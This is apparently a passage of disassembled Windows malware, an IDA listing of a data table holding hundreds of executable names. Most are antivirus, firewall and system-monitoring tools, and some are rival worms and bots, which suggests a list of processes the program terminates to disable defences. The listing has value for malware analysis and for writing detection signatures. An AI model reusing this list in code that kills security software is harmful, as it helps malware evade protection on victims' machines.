		dd offset aVsched_exe	; "VSCHED.EXE"
		dd offset aVsecomr_exe	; "VSECOMR.EXE"
		dd offset aVshwin32_exe	; "VSHWIN32.EXE"
		dd offset aVsisetup_exe	; "VSISETUP.EXE"
		dd offset aVsmain_exe	; "VSMAIN.EXE"
		dd offset aVsmon_exe	; "VSMON.EXE"
		dd offset aVsstat_exe	; "VSSTAT.EXE"
		dd offset aVswin9xe_exe	; "VSWIN9XE.EXE"
		dd offset aVswinntse_exe ; "VSWINNTSE.EXE"
		dd offset aVswinperse_exe ; "VSWINPERSE.EXE"
		dd offset aW32dsm89_exe	; "W32DSM89.EXE"
		dd offset aW9x_exe	; "W9X.EXE"
		dd offset aWatchdog_exe	; "WATCHDOG.EXE"
		dd offset aWebdav_exe	; "WEBDAV.EXE"
		dd offset aWebscanx_exe	; "WEBSCANX.EXE"
		dd offset aWebtrap_exe	; "WEBTRAP.EXE"
		dd offset aWfindv32_exe	; "WFINDV32.EXE"
		dd offset aWgfe95_exe	; "WGFE95.EXE"
		dd offset aWhoswatchingme ; "WHOSWATCHINGME.EXE"
		dd offset aWimmun32_exe	; "WIMMUN32.EXE"
		dd offset aWinBugsfix_exe ; "WIN-BUGSFIX.EXE"
		dd offset aWin32_exe	; "WIN32.EXE"
		dd offset aWin32us_exe	; "WIN32US.EXE"
		dd offset aWinactive_exe ; "WINACTIVE.EXE"
		dd offset aWindow_exe	; "WINDOW.EXE"
		dd offset aWindows_exe	; "WINDOWS.EXE"
		dd offset aWininetd_exe	; "WININETD.EXE"
		dd offset aWininit_exe	; "WININIT.EXE"
		dd offset aWininitx_exe	; "WININITX.EXE"
		dd offset aWinlogin_exe	; "WINLOGIN.EXE"
		dd offset aWinmain_exe	; "WINMAIN.EXE"
		dd offset aWinnet_exe	; "WINNET.EXE"
		dd offset aWinppr32_exe	; "WINPPR32.EXE"
		dd offset aWinrecon_exe	; "WINRECON.EXE"
		dd offset aWinservn_exe	; "WINSERVN.EXE"
		dd offset aWinssk32_exe	; "WINSSK32.EXE"
		dd offset aWinstart_exe	; "WINSTART.EXE"
		dd offset aWinstart001_ex ; "WINSTART001.EXE"
		dd offset aWintsk32_exe	; "WINTSK32.EXE"
		dd offset aWinupdate_exe ; "WINUPDATE.EXE"
		dd offset aWkufind_exe	; "WKUFIND.EXE"
		dd offset aWnad_exe	; "WNAD.EXE"
		dd offset aWnt_exe	; "WNT.EXE"
		dd offset aWradmin_exe	; "WRADMIN.EXE"
		dd offset aWrctrl_exe	; "WRCTRL.EXE"
		dd offset aWsbgate_exe	; "WSBGATE.EXE"
		dd offset aWupdater_exe	; "WUPDATER.EXE"
		dd offset aWupdt_exe	; "WUPDT.EXE"
		dd offset aWyvernworksfir ; "WYVERNWORKSFIREWALL.EXE"
		dd offset aXpf202en_exe	; "XPF202EN.EXE"
		dd offset aZapro_exe	; "ZAPRO.EXE"
		dd offset aZapsetup3001_e ; "ZAPSETUP3001.EXE"
		dd offset aZatutor_exe	; "ZATUTOR.EXE"
		dd offset aZonalm2601_exe ; "ZONALM2601.EXE"
		dd offset aZonealarm_exe ; "ZONEALARM.EXE"
		dd offset a_avp32_exe	; "_AVP32.EXE"
		dd offset a_avpcc_exe	; "_AVPCC.EXE"
		dd offset a_avpm_exe	; "_AVPM.EXE"
		dd offset aHijackthis_exe ; "HIJACKTHIS.EXE"
		dd offset aFAgobot_exe	; "F-AGOBOT.EXE"
		dd offset aPandaavengine_ ; "PandaAVEngine.exe"
		dd offset aSysinfo_exe	; "sysinfo.exe"
		dd offset aMscvb32_exe	; "mscvb32.exe"
		dd offset aPenis32_exe	; "Penis32.exe"
		dd offset aBbeagle_exe	; "bbeagle.exe"
		dd offset aSysmonxp_exe	; "SysMonXP.exe"
		dd offset aWinupd_exe	; "winupd.exe"
		dd offset aWinsys_exe	; "winsys.exe"
		dd offset aSsate_exe	; "ssate.exe"
		dd offset aRate_exe	; "rate.exe"
		dd offset aD3dupdate_exe ; "d3dupdate.exe"
		dd offset aIrun4_exe	; "irun4.exe"
		dd offset aI11r54n4_exe	; "i11r54n4.exe"
dword_43210C	dd 7Dh dup(0)		; DATA XREF: sub_411876+ECo
aI11r54n4_exe	db 'i11r54n4.exe',0     ; DATA XREF: .data:00432108o
		align 10h
aIrun4_exe	db 'irun4.exe',0        ; DATA XREF: .data:00432104o
		align 4
aD3dupdate_exe	db 'd3dupdate.exe',0    ; DATA XREF: .data:00432100o
		align 4
aRate_exe	db 'rate.exe',0         ; DATA XREF: .data:004320FCo
		align 4
aSsate_exe	db 'ssate.exe',0        ; DATA XREF: .data:004320F8o
		align 4
aWinsys_exe	db 'winsys.exe',0       ; DATA XREF: .data:004320F4o
		align 10h
		dd 0
aWinupd_exe	db 'winupd.exe',0       ; DATA XREF: .data:004320F0o
		align 10h
		dd 0
aSysmonxp_exe	db 'SysMonXP.exe',0     ; DATA XREF: .data:004320ECo
		align 4
aBbeagle_exe	db 'bbeagle.exe',0      ; DATA XREF: .data:004320E8o
		dd 0
aPenis32_exe	db 'Penis32.exe',0      ; DATA XREF: .data:004320E4o
		dd 0
aMscvb32_exe	db 'mscvb32.exe',0      ; DATA XREF: .data:004320E0o
		dd 0
aSysinfo_exe	db 'sysinfo.exe',0      ; DATA XREF: .data:004320DCo
		dd 0
aPandaavengine_	db 'PandaAVEngine.exe',0 ; DATA XREF: .data:004320D8o
		align 4
		dd 0
aFAgobot_exe	db 'F-AGOBOT.EXE',0     ; DATA XREF: .data:004320D4o
		align 4
aHijackthis_exe	db 'HIJACKTHIS.EXE',0   ; DATA XREF: .data:004320D0o
		align 10h
a_avpm_exe	db '_AVPM.EXE',0        ; DATA XREF: .data:004320CCo
		align 4
a_avpcc_exe	db '_AVPCC.EXE',0       ; DATA XREF: .data:004320C8o
		align 4
		dd 0
a_avp32_exe	db '_AVP32.EXE',0       ; DATA XREF: .data:004320C4o
		align 4
		dd 0
aZonealarm_exe	db 'ZONEALARM.EXE',0    ; DATA XREF: .data:004320C0o
		align 4
aZonalm2601_exe	db 'ZONALM2601.EXE',0   ; DATA XREF: .data:004320BCo
		align 10h
aZatutor_exe	db 'ZATUTOR.EXE',0      ; DATA XREF: .data:004320B8o
		align 10h
aZapsetup3001_e	db 'ZAPSETUP3001.EXE',0 ; DATA XREF: .data:004320B4o
		align 4
aZapro_exe	db 'ZAPRO.EXE',0        ; DATA XREF: .data:004320B0o
		align 10h
aXpf202en_exe	db 'XPF202EN.EXE',0     ; DATA XREF: .data:004320ACo
		align 10h
aWyvernworksfir	db 'WYVERNWORKSFIREWALL.EXE',0 ; DATA XREF: .data:004320A8o
		dd 0
aWupdt_exe	db 'WUPDT.EXE',0        ; DATA XREF: .data:004320A4o
		align 4
aWupdater_exe	db 'WUPDATER.EXE',0     ; DATA XREF: .data:004320A0o
		align 4
aWsbgate_exe	db 'WSBGATE.EXE',0      ; DATA XREF: .data:0043209Co
		align 8
aWrctrl_exe	db 'WRCTRL.EXE',0       ; DATA XREF: .data:00432098o
		align 8
aWradmin_exe	db 'WRADMIN.EXE',0      ; DATA XREF: .data:00432094o
		align 8
aWnt_exe	db 'WNT.EXE',0          ; DATA XREF: .data:00432090o
		dd 0
aWnad_exe	db 'WNAD.EXE',0         ; DATA XREF: .data:0043208Co
		align 10h
aWkufind_exe	db 'WKUFIND.EXE',0      ; DATA XREF: .data:00432088o
		align 10h
aWinupdate_exe	db 'WINUPDATE.EXE',0    ; DATA XREF: .data:00432084o
		align 10h
aWintsk32_exe	db 'WINTSK32.EXE',0     ; DATA XREF: .data:00432080o
		align 10h
aWinstart001_ex	db 'WINSTART001.EXE',0  ; DATA XREF: .data:0043207Co
		dd 0
aWinstart_exe	db 'WINSTART.EXE',0     ; DATA XREF: .data:00432078o
		align 4
aWinssk32_exe	db 'WINSSK32.EXE',0     ; DATA XREF: .data:00432074o
		align 4
aWinservn_exe	db 'WINSERVN.EXE',0     ; DATA XREF: .data:00432070o
		align 4
aWinrecon_exe	db 'WINRECON.EXE',0     ; DATA XREF: .data:0043206Co
		align 4
aWinppr32_exe	db 'WINPPR32.EXE',0     ; DATA XREF: .data:00432068o
		align 4
aWinnet_exe	db 'WINNET.EXE',0       ; DATA XREF: .data:00432064o
		align 10h
		dd 0
aWinmain_exe	db 'WINMAIN.EXE',0      ; DATA XREF: .data:00432060o
		dd 0
aWinlogin_exe	db 'WINLOGIN.EXE',0     ; DATA XREF: .data:0043205Co
		align 4
aWininitx_exe	db 'WININITX.EXE',0     ; DATA XREF: .data:00432058o
		align 4
aWininit_exe	db 'WININIT.EXE',0      ; DATA XREF: .data:00432054o
		dd 0
aWininetd_exe	db 'WININETD.EXE',0     ; DATA XREF: .data:00432050o
		align 4
aWindows_exe	db 'WINDOWS.EXE',0      ; DATA XREF: .data:0043204Co
		dd 0
aWindow_exe	db 'WINDOW.EXE',0       ; DATA XREF: .data:00432048o
		align 10h
		dd 0
aWinactive_exe	db 'WINACTIVE.EXE',0    ; DATA XREF: .data:00432044o
		align 4
aWin32us_exe	db 'WIN32US.EXE',0      ; DATA XREF: .data:00432040o
		dd 0
aWin32_exe	db 'WIN32.EXE',0        ; DATA XREF: .data:0043203Co
		align 10h
aWinBugsfix_exe	db 'WIN-BUGSFIX.EXE',0  ; DATA XREF: .data:00432038o
		dd 0
aWimmun32_exe	db 'WIMMUN32.EXE',0     ; DATA XREF: .data:00432034o
		align 4
aWhoswatchingme	db 'WHOSWATCHINGME.EXE',0 ; DATA XREF: .data:00432030o
		align 4
		dd 0
aWgfe95_exe	db 'WGFE95.EXE',0       ; DATA XREF: .data:0043202Co
		align 4
		dd 0
aWfindv32_exe	db 'WFINDV32.EXE',0     ; DATA XREF: .data:00432028o
		align 4
aWebtrap_exe	db 'WEBTRAP.EXE',0      ; DATA XREF: .data:00432024o
		dd 0
aWebscanx_exe	db 'WEBSCANX.EXE',0     ; DATA XREF: .data:00432020o
		align 4
aWebdav_exe	db 'WEBDAV.EXE',0       ; DATA XREF: .data:0043201Co
		align 4
		dd 0
aWatchdog_exe	db 'WATCHDOG.EXE',0     ; DATA XREF: .data:00432018o
		align 4
aW9x_exe	db 'W9X.EXE',0          ; DATA XREF: .data:00432014o
		align 8
aW32dsm89_exe	db 'W32DSM89.EXE',0     ; DATA XREF: .data:00432010o
		align 4
aVswinperse_exe	db 'VSWINPERSE.EXE',0   ; DATA XREF: .data:0043200Co
		align 4
		dd 0
aVswinntse_exe	db 'VSWINNTSE.EXE',0    ; DATA XREF: .data:00432008o
		align 4
aVswin9xe_exe	db 'VSWIN9XE.EXE',0     ; DATA XREF: .data:00432004o
		align 4
aVsstat_exe	db 'VSSTAT.EXE',0       ; DATA XREF: .data:00432000o
		align 4
		dd 0
aVsmon_exe	db 'VSMON.EXE',0        ; DATA XREF: .data:00431FFCo
		align 4
aVsmain_exe	db 'VSMAIN.EXE',0       ; DATA XREF: .data:00431FF8o
		align 8
aVsisetup_exe	db 'VSISETUP.EXE',0     ; DATA XREF: .data:00431FF4o
		align 4
aVshwin32_exe	db 'VSHWIN32.EXE',0     ; DATA XREF: .data:00431FF0o
		align 4
aVsecomr_exe	db 'VSECOMR.EXE',0      ; DATA XREF: .data:00431FECo
		align 8
aVsched_exe	db 'VSCHED.EXE',0       ; DATA XREF: .data:00431FE8o
		align 8
aVscenu6_02d30_	db 'VSCENU6.02D30.EXE',0 ; DATA XREF: .data:00431FE4o
		align 10h
aVscan40_exe	db 'VSCAN40.EXE',0      ; DATA XREF: .data:00431FE0o
		align 10h
aVptray_exe	db 'VPTRAY.EXE',0       ; DATA XREF: .data:00431FDCo
		align 10h
aVpfw30s_exe	db 'VPFW30S.EXE',0      ; DATA XREF: .data:00431FD8o
		align 10h
aVpc42_exe	db 'VPC42.EXE',0        ; DATA XREF: .data:00431FD4o
		align 4
aVpc32_exe	db 'VPC32.EXE',0        ; DATA XREF: .data:00431FD0o
		align 4
aVnpc3000_exe	db 'VNPC3000.EXE',0     ; DATA XREF: .data:00431FCCo
		align 4
aVnlan300_exe	db 'VNLAN300.EXE',0     ; DATA XREF: .data:00431FC8o
		align 4
aVirusmdpersona	db 'VIRUSMDPERSONALFIREWALL.EXE',0 ; DATA XREF: .data:00431FC4o
		dd 2 dup(0)
aVirHelp_exe	db 'VIR-HELP.EXE',0     ; DATA XREF: .data:00431FC0o
		align 4
aVfsetup_exe	db 'VFSETUP.EXE',0      ; DATA XREF: .data:00431FBCo
		dd 0
aVettray_exe	db 'VETTRAY.EXE',0      ; DATA XREF: .data:00431FB8o
		dd 0
aVet95_exe	db 'VET95.EXE',0        ; DATA XREF: .data:00431FB4o
		align 4
aVet32_exe	db 'VET32.EXE',0        ; DATA XREF: .data:00431FB0o
		align 4
aVcsetup_exe	db 'VCSETUP.EXE',0      ; DATA XREF: .data:00431FACo
		dd 0
aVbwinntw_exe	db 'VBWINNTW.EXE',0     ; DATA XREF: .data:00431FA8o
		align 4
aVbwin9x_exe	db 'VBWIN9X.EXE',0      ; DATA XREF: .data:00431FA4o
		dd 0
aVbust_exe	db 'VBUST.EXE',0        ; DATA XREF: .data:00431FA0o
		align 10h
aVbcons_exe	db 'VBCONS.EXE',0       ; DATA XREF: .data:00431F9Co
		align 10h
aVbcmserv_exe	db 'VBCMSERV.EXE',0     ; DATA XREF: .data:00431F98o
		align 10h
aUtpost_exe	db 'UTPOST.EXE',0       ; DATA XREF: .data:00431F94o
		align 10h
aUpgrad_exe	db 'UPGRAD.EXE',0       ; DATA XREF: .data:00431F90o
		align 10h
aUpdate_exe	db 'UPDATE.EXE',0       ; DATA XREF: .data:00431F88o
					; .data:00431F8Co
		align 10h
aUpdat_exe	db 'UPDAT.EXE',0        ; DATA XREF: .data:00431F84o
		align 4
aUndoboot_exe	db 'UNDOBOOT.EXE',0     ; DATA XREF: .data:00431F80o
		align 4
aTvtmd_exe	db 'TVTMD.EXE',0        ; DATA XREF: .data:00431F7Co
		align 4
aTvmd_exe	db 'TVMD.EXE',0         ; DATA XREF: .data:00431F78o
		align 4
aTsadbot_exe	db 'TSADBOT.EXE',0      ; DATA XREF: .data:00431F74o
		dd 0
aTrojantrap3_ex	db 'TROJANTRAP3.EXE',0  ; DATA XREF: .data:00431F70o
		align 8
aTrjsetup_exe	db 'TRJSETUP.EXE',0     ; DATA XREF: .data:00431F6Co
		align 4
aTrjscan_exe	db 'TRJSCAN.EXE',0      ; DATA XREF: .data:00431F68o
		align 8
aTrickler_exe	db 'TRICKLER.EXE',0     ; DATA XREF: .data:00431F64o
		align 4
aTracert_exe	db 'TRACERT.EXE',0      ; DATA XREF: .data:00431F60o
		align 8
aTitaninxp_exe	db 'TITANINXP.EXE',0    ; DATA XREF: .data:00431F5Co
		align 4
aTitanin_exe	db 'TITANIN.EXE',0      ; DATA XREF: .data:00431F58o
		align 8
aTgbob_exe	db 'TGBOB.EXE',0        ; DATA XREF: .data:00431F54o
		align 4
aTfak5_exe	db 'TFAK5.EXE',0        ; DATA XREF: .data:00431F50o
		align 10h
aTfak_exe	db 'TFAK.EXE',0         ; DATA XREF: .data:00431F4Co
		align 4
aTeekids_exe	db 'TEEKIDS.EXE',0      ; DATA XREF: .data:00431F48o
		dd 0
aTds2Nt_exe	db 'TDS2-NT.EXE',0      ; DATA XREF: .data:00431F44o
		dd 0
aTds298_exe	db 'TDS2-98.EXE',0      ; DATA XREF: .data:00431F40o
		dd 0
aTds3_exe	db 'TDS-3.EXE',0        ; DATA XREF: .data:00431F3Co
		align 4
aTcm_exe	db 'TCM.EXE',0          ; DATA XREF: .data:00431F38o
		dd 0
aTca_exe	db 'TCA.EXE',0          ; DATA XREF: .data:00431F34o
		align 10h
aTc_exe		db 'TC.EXE',0           ; DATA XREF: .data:00431F30o
		align 4
aTbscan_exe	db 'TBSCAN.EXE',0       ; DATA XREF: .data:00431F2Co
		align 8
aTaumon_exe	db 'TAUMON.EXE',0       ; DATA XREF: .data:00431F28o
		align 8
aTaskmon_exe	db 'TASKMON.EXE',0      ; DATA XREF: .data:00431F24o
		align 8
aTaskmo_exe	db 'TASKMO.EXE',0       ; DATA XREF: .data:00431F20o
		align 8
aTaskmg_exe	db 'TASKMG.EXE',0       ; DATA XREF: .data:00431F1Co
		align 8
aSysupd_exe	db 'SYSUPD.EXE',0       ; DATA XREF: .data:00431F18o
		align 8
aSystem32_exe	db 'SYSTEM32.EXE',0     ; DATA XREF: .data:00431F14o
		align 4
aSystem_exe	db 'SYSTEM.EXE',0       ; DATA XREF: .data:00431F10o
		align 8
aSysedit_exe	db 'SYSEDIT.EXE',0      ; DATA XREF: .data:00431F0Co
		align 8
aSymtray_exe	db 'SYMTRAY.EXE',0      ; DATA XREF: .data:00431F08o
		align 8
aSymproxysvc_ex	db 'SYMPROXYSVC.EXE',0  ; DATA XREF: .data:00431F04o
		dd 0
aSweepnet_sweep	db 'SWEEPNET.SWEEPSRV.SYS.SWNETSUP.EXE',0 ; DATA XREF: .data:00431F00o
		align 10h
		dd 2 dup(0)
aSweep95_exe	db 'SWEEP95.EXE',0      ; DATA XREF: .data:00431EFCo
		align 8
aSvshost_exe	db 'SVSHOST.EXE',0      ; DATA XREF: .data:00431EF8o
		align 8
aSvchosts_exe	db 'SVCHOSTS.EXE',0     ; DATA XREF: .data:00431EF4o
		align 4
aSvchostc_exe	db 'SVCHOSTC.EXE',0     ; DATA XREF: .data:00431EF0o
		align 4
aSvc_exe	db 'SVC.EXE',0          ; DATA XREF: .data:00431EECo
		dd 0
aSupporter5_exe	db 'SUPPORTER5.EXE',0   ; DATA XREF: .data:00431EE8o
		align 8
aSupport_exe	db 'SUPPORT.EXE',0      ; DATA XREF: .data:00431EE4o
		align 8
aSupftrl_exe	db 'SUPFTRL.EXE',0      ; DATA XREF: .data:00431EE0o
		align 8
aStcloader_exe	db 'STCLOADER.EXE',0    ; DATA XREF: .data:00431EDCo
		align 4
aStart_exe	db 'START.EXE',0        ; DATA XREF: .data:00431ED8o
		align 4
aSt2_exe	db 'ST2.EXE',0          ; DATA XREF: .data:00431ED4o
		align 10h
aSsg_4104_exe	db 'SSG_4104.EXE',0     ; DATA XREF: .data:00431ED0o
		align 10h
aSsgrate_exe	db 'SSGRATE.EXE',0      ; DATA XREF: .data:00431ECCo
		align 10h
aSs3edit_exe	db 'SS3EDIT.EXE',0      ; DATA XREF: .data:00431EC8o
		align 10h
aSrng_exe	db 'SRNG.EXE',0         ; DATA XREF: .data:00431EC4o
		align 4
aSrexe_exe	db 'SREXE.EXE',0        ; DATA XREF: .data:00431EC0o
		align 4
aSpyxx_exe	db 'SPYXX.EXE',0        ; DATA XREF: .data:00431EBCo
		align 4
aSpoolsv32_exe	db 'SPOOLSV32.EXE',0    ; DATA XREF: .data:00431EB8o
		align 4
aSpoolcv_exe	db 'SPOOLCV.EXE',0      ; DATA XREF: .data:00431EB4o
		dd 0
aSpoler_exe	db 'SPOLER.EXE',0       ; DATA XREF: .data:00431EB0o
		align 10h
		dd 0
aSphinx_exe	db 'SPHINX.EXE',0       ; DATA XREF: .data:00431EACo
		align 10h
		dd 0
aSpf_exe	db 'SPF.EXE',0          ; DATA XREF: .data:00431EA8o
		align 10h
aSperm_exe	db 'SPERM.EXE',0        ; DATA XREF: .data:00431EA4o
		align 4
aSofi_exe	db 'SOFI.EXE',0         ; DATA XREF: .data:00431EA0o
		align 4
aSoap_exe	db 'SOAP.EXE',0         ; DATA XREF: .data:00431E9Co
		align 4
aSmss32_exe	db 'SMSS32.EXE',0       ; DATA XREF: .data:00431E98o
		align 10h
		dd 0
aSms_exe	db 'SMS.EXE',0          ; DATA XREF: .data:00431E94o
		align 10h
aSmc_exe	db 'SMC.EXE',0          ; DATA XREF: .data:00431E90o
		dd 0
aShowbehind_exe	db 'SHOWBEHIND.EXE',0   ; DATA XREF: .data:00431E8Co
		align 10h
aShn_exe	db 'SHN.EXE',0          ; DATA XREF: .data:00431E88o
		dd 0
aShellspyinstal	db 'SHELLSPYINSTALL.EXE',0 ; DATA XREF: .data:00431E84o
		dd 0
aSh_exe		db 'SH.EXE',0           ; DATA XREF: .data:00431E80o
		align 4
aSgssfw32_exe	db 'SGSSFW32.EXE',0     ; DATA XREF: .data:00431E7Co
		align 4
aSfc_exe	db 'SFC.EXE',0          ; DATA XREF: .data:00431E78o
		align 8
aSetup_flowprot	db 'SETUP_FLOWPROTECTOR_US.EXE',0 ; DATA XREF: .data:00431E74o
		align 8
aSetupvameeval_	db 'SETUPVAMEEVAL.EXE',0 ; DATA XREF: .data:00431E70o
		align 10h
aServlces_exe	db 'SERVLCES.EXE',0     ; DATA XREF: .data:00431E6Co
		align 10h
aServlce_exe	db 'SERVLCE.EXE',0      ; DATA XREF: .data:00431E68o
		align 10h
aService_exe	db 'SERVICE.EXE',0      ; DATA XREF: .data:00431E64o
		align 10h
aServ95_exe	db 'SERV95.EXE',0       ; DATA XREF: .data:00431E60o
		align 10h
aSd_exe		db 'SD.EXE',0           ; DATA XREF: .data:00431E5Co
		align 4
aScvhost_exe	db 'SCVHOST.EXE',0      ; DATA XREF: .data:00431E58o
		align 8
aScrsvr_exe	db 'SCRSVR.EXE',0       ; DATA XREF: .data:00431E54o
		align 8
aScrscan_exe	db 'SCRSCAN.EXE',0      ; DATA XREF: .data:00431E50o
		align 8
aScanpm_exe	db 'SCANPM.EXE',0       ; DATA XREF: .data:00431E4Co
		align 8
aScan95_exe	db 'SCAN95.EXE',0       ; DATA XREF: .data:00431E48o
		align 8
aScan32_exe	db 'SCAN32.EXE',0       ; DATA XREF: .data:00431E44o
		align 8
aScam32_exe	db 'SCAM32.EXE',0       ; DATA XREF: .data:00431E40o
		align 8
aSc_exe		db 'SC.EXE',0           ; DATA XREF: .data:00431E3Co
		align 10h
aSbserv_exe	db 'SBSERV.EXE',0       ; DATA XREF: .data:00431E38o
		align 10h
aSavenow_exe	db 'SAVENOW.EXE',0      ; DATA XREF: .data:00431E34o
		align 10h
aSave_exe	db 'SAVE.EXE',0         ; DATA XREF: .data:00431E30o
		align 4
aSahagent_exe	db 'SAHAGENT.EXE',0     ; DATA XREF: .data:00431E2Co
		align 4
aSafeweb_exe	db 'SAFEWEB.EXE',0      ; DATA XREF: .data:00431E28o
		dd 0
aRuxdll32_exe	db 'RUXDLL32.EXE',0     ; DATA XREF: .data:00431E24o
		align 4
aRundll16_exe	db 'RUNDLL16.EXE',0     ; DATA XREF: .data:00431E20o
		align 4
aRundll_exe	db 'RUNDLL.EXE',0       ; DATA XREF: .data:00431E1Co
		align 4
		dd 0
aRun32dll_exe	db 'RUN32DLL.EXE',0     ; DATA XREF: .data:00431E18o
		align 4
aRulaunch_exe	db 'RULAUNCH.EXE',0     ; DATA XREF: .data:00431E14o
		align 4
aRtvscn95_exe	db 'RTVSCN95.EXE',0     ; DATA XREF: .data:00431E10o
		align 4
aRtvscan_exe	db 'RTVSCAN.EXE',0      ; DATA XREF: .data:00431E0Co
		dd 0
aRshell_exe	db 'RSHELL.EXE',0       ; DATA XREF: .data:00431E08o
		align 4
		dd 0
aRrguard_exe	db 'RRGUARD.EXE',0      ; DATA XREF: .data:00431E04o
		dd 0
aRescue32_exe	db 'RESCUE32.EXE',0     ; DATA XREF: .data:00431E00o
		align 4
aRescue_exe	db 'RESCUE.EXE',0       ; DATA XREF: .data:00431DFCo
		align 4
		dd 0
aRegedt32_exe	db 'REGEDT32.EXE',0     ; DATA XREF: .data:00431DF8o
		align 4
aRegedit_exe	db 'REGEDIT.EXE',0      ; DATA XREF: .data:00431DF4o
		dd 0
aReged_exe	db 'REGED.EXE',0        ; DATA XREF: .data:00431DF0o
		align 4
aRealmon_exe	db 'REALMON.EXE',0      ; DATA XREF: .data:00431DECo
		align 8
aRcsync_exe	db 'RCSYNC.EXE',0       ; DATA XREF: .data:00431DE8o
		align 8
aRb32_exe	db 'RB32.EXE',0         ; DATA XREF: .data:00431DE4o
		align 4
aRay_exe	db 'RAY.EXE',0          ; DATA XREF: .data:00431DE0o
		align 10h
aRav8win32eng_e	db 'RAV8WIN32ENG.EXE',0 ; DATA XREF: .data:00431DDCo
		align 4
aRav7win_exe	db 'RAV7WIN.EXE',0      ; DATA XREF: .data:00431DD8o
		dd 0
aRav7_exe	db 'RAV7.EXE',0         ; DATA XREF: .data:00431DD4o
		align 10h
aRapapp_exe	db 'RAPAPP.EXE',0       ; DATA XREF: .data:00431DD0o
		align 10h
aQserver_exe	db 'QSERVER.EXE',0      ; DATA XREF: .data:00431DCCo
		align 10h
aQconsole_exe	db 'QCONSOLE.EXE',0     ; DATA XREF: .data:00431DC8o
		align 10h
aPview95_exe	db 'PVIEW95.EXE',0      ; DATA XREF: .data:00431DC4o
		align 10h
aPussy_exe	db 'PUSSY.EXE',0        ; DATA XREF: .data:00431DC0o
		align 4
aPurge_exe	db 'PURGE.EXE',0        ; DATA XREF: .data:00431DBCo
		align 4
aPspf_exe	db 'PSPF.EXE',0         ; DATA XREF: .data:00431DB8o
		align 4
aProtectx_exe	db 'PROTECTX.EXE',0     ; DATA XREF: .data:00431DB4o
		align 4
aProport_exe	db 'PROPORT.EXE',0      ; DATA XREF: .data:00431DB0o
		dd 0
aProgramauditor	db 'PROGRAMAUDITOR.EXE',0 ; DATA XREF: .data:00431DACo
		align 4
		dd 0
aProcexplorerv1	db 'PROCEXPLORERV1.0.EXE',0 ; DATA XREF: .data:00431DA8o
		align 8
aProcessmonitor	db 'PROCESSMONITOR.EXE',0 ; DATA XREF: .data:00431DA4o
		align 10h
aProcdump_exe	db 'PROCDUMP.EXE',0     ; DATA XREF: .data:00431DA0o
		align 10h
aPrmvr_exe	db 'PRMVR.EXE',0        ; DATA XREF: .data:00431D9Co
		align 4
aPrmt_exe	db 'PRMT.EXE',0         ; DATA XREF: .data:00431D98o
		align 4
aPrizesurfer_ex	db 'PRIZESURFER.EXE',0  ; DATA XREF: .data:00431D94o
		dd 0
aPpvstop_exe	db 'PPVSTOP.EXE',0      ; DATA XREF: .data:00431D90o
		dd 0
aPptbc_exe	db 'PPTBC.EXE',0        ; DATA XREF: .data:00431D8Co
		align 4
aPpinupdt_exe	db 'PPINUPDT.EXE',0     ; DATA XREF: .data:00431D88o
		align 4
aPowerscan_exe	db 'POWERSCAN.EXE',0    ; DATA XREF: .data:00431D84o
		align 4
aPortmonitor_ex	db 'PORTMONITOR.EXE',0  ; DATA XREF: .data:00431D80o
		dd 0
aPortdetective_	db 'PORTDETECTIVE.EXE',0 ; DATA XREF: .data:00431D7Co
		align 10h
		dd 0
aPopscan_exe	db 'POPSCAN.EXE',0      ; DATA XREF: .data:00431D78o
		dd 0
aPoproxy_exe	db 'POPROXY.EXE',0      ; DATA XREF: .data:00431D74o
		dd 0
aPop3trap_exe	db 'POP3TRAP.EXE',0     ; DATA XREF: .data:00431D70o
		align 4
aPlatin_exe	db 'PLATIN.EXE',0       ; DATA XREF: .data:00431D6Co
		align 10h
		dd 0
aPingscan_exe	db 'PINGSCAN.EXE',0     ; DATA XREF: .data:00431D68o
		align 4
aPgmonitr_exe	db 'PGMONITR.EXE',0     ; DATA XREF: .data:00431D64o
		align 4
aPfwadmin_exe	db 'PFWADMIN.EXE',0     ; DATA XREF: .data:00431D60o
		align 4
aPf2_exe	db 'PF2.EXE',0          ; DATA XREF: .data:00431D5Co
		align 10h
aPerswf_exe	db 'PERSWF.EXE',0       ; DATA XREF: .data:00431D58o
		align 10h
aPersfw_exe	db 'PERSFW.EXE',0       ; DATA XREF: .data:00431D54o
		align 10h
aPeriscope_exe	db 'PERISCOPE.EXE',0    ; DATA XREF: .data:00431D50o
		align 10h
aPenis_exe	db 'PENIS.EXE',0        ; DATA XREF: .data:00431D4Co
		align 4
aPdsetup_exe	db 'PDSETUP.EXE',0      ; DATA XREF: .data:00431D48o
		dd 0
aPcscan_exe	db 'PCSCAN.EXE',0       ; DATA XREF: .data:00431D44o
		align 4
		dd 0
aPcip10117_0_ex	db 'PCIP10117_0.EXE',0  ; DATA XREF: .data:00431D40o
		align 10h
aPcfwallicon_ex	db 'PCFWALLICON.EXE',0  ; DATA XREF: .data:00431D3Co
		dd 0
aPcdsetup_exe	db 'PCDSETUP.EXE',0     ; DATA XREF: .data:00431D38o
		align 4
aPccwin98_exe	db 'PCCWIN98.EXE',0     ; DATA XREF: .data:00431D34o
		align 4
aPccwin97_exe	db 'PCCWIN97.EXE',0     ; DATA XREF: .data:00431D30o
		align 4
aPccntmon_exe	db 'PCCNTMON.EXE',0     ; DATA XREF: .data:00431D2Co
		align 4
aPcciomon_exe	db 'PCCIOMON.EXE',0     ; DATA XREF: .data:00431D28o
		align 4
aPcc2k_76_1436_	db 'PCC2K_76_1436.EXE',0 ; DATA XREF: .data:00431D24o
		align 4
		dd 0
aPcc2002s902_ex	db 'PCC2002S902.EXE',0  ; DATA XREF: .data:00431D20o
		align 10h
aPavw_exe	db 'PAVW.EXE',0         ; DATA XREF: .data:00431D1Co
		align 4
aPavsched_exe	db 'PAVSCHED.EXE',0     ; DATA XREF: .data:00431D18o
		align 4
aPavproxy_exe	db 'PAVPROXY.EXE',0     ; DATA XREF: .data:00431D14o
		align 4
aPavcl_exe	db 'PAVCL.EXE',0        ; DATA XREF: .data:00431D10o
		align 4
aPatch_exe	db 'PATCH.EXE',0        ; DATA XREF: .data:00431D0Co
		align 4
aPanixk_exe	db 'PANIXK.EXE',0       ; DATA XREF: .data:00431D08o
		align 10h
		dd 0
aPadmin_exe	db 'PADMIN.EXE',0       ; DATA XREF: .data:00431D04o
		align 10h
		dd 0
aOutpostproinst	db 'OUTPOSTPROINSTALL.EXE',0 ; DATA XREF: .data:00431D00o
		align 10h
aOutpostinstall	db 'OUTPOSTINSTALL.EXE',0 ; DATA XREF: .data:00431CFCo
		align 8
